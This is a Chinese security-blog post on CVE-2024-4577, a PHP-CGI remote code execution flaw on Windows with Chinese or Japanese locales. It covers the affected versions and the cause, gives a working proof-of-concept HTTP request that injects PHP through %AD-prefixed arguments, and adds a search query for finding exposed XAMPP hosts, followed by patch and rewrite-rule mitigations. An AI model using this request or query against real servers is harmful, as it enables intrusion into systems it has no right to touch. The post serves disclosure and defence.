PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)
小白菜安全 小白菜安全 2024-06-08 12:05
免责声明
该公众号主要是分享互联网上公开的一些漏洞poc和工具,
利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如果本公众号分享导致的侵权行为请告知,我们会立即删除并道歉。
漏洞影响范围
1.PHP版本:(不仅限如下版本)
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
PHP 8.0
PHP 7.x
PHP 5.x
2.系统环境:
必须市windows并使用以下其中之一的语言系统
繁体中文、简体中文、日文
3.其他条件
以CGI模式运行的PHP环境(现实环境很少存在)
漏洞原理
PHP-CGI 是一种用于在 Web 服务器上运行 PHP 脚本的接口,通过 CGI(公共
网关接口)将 PHP 解释器与 Web 服务器连接。允许Web服务器与外部程序
(通常是编写在PHP语言中的脚本)进行交互。
PHP-CGI模式运行时在对字符转换存在问题,当PHP运行在Window平台且使用了
如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请
求绕过CVE-2012-1823保护,从而可在无需登陆的情况下执行任意PHP代码,导
致服务器失陷。
漏洞复现
poc
本次复现通过XAMPP平台,poc如下(phpinfo.php为任意存在的文件)
POST /dashboard/phpinfo.php?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
<?php
echo 111111;
?>
出现如下数据表示漏洞存在
搜索语法
app=”XAMPP” && country=”JP”
修复建议(启明星辰)
1、官方修复方案
目前官方已有可更新版本,建议受影响用户升级至最新
版本。PHP官方最新版本8.3.8、8.2.20和8.1.29。
下载链接:
https://www.php.net/downloads.php
2、缓解方案
– 不方便更新版本的Windows用户,建议暂时关闭php-cgi的使用。
- 以下重写规则可用于阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? – [F,L]
- 对于使用
XAMPP for Windows
的用户:如果确认不需要
PHP CGI 功能,可以通过修改以下
Apache HTTP Server 配置来避免受到该漏洞的影响。
C:/xampp/apache/conf/extra/httpd-xampp.conf
找到相应的行:
ScriptAlias /php-cgi/ “C:/xampp/php/”
并将其注释掉: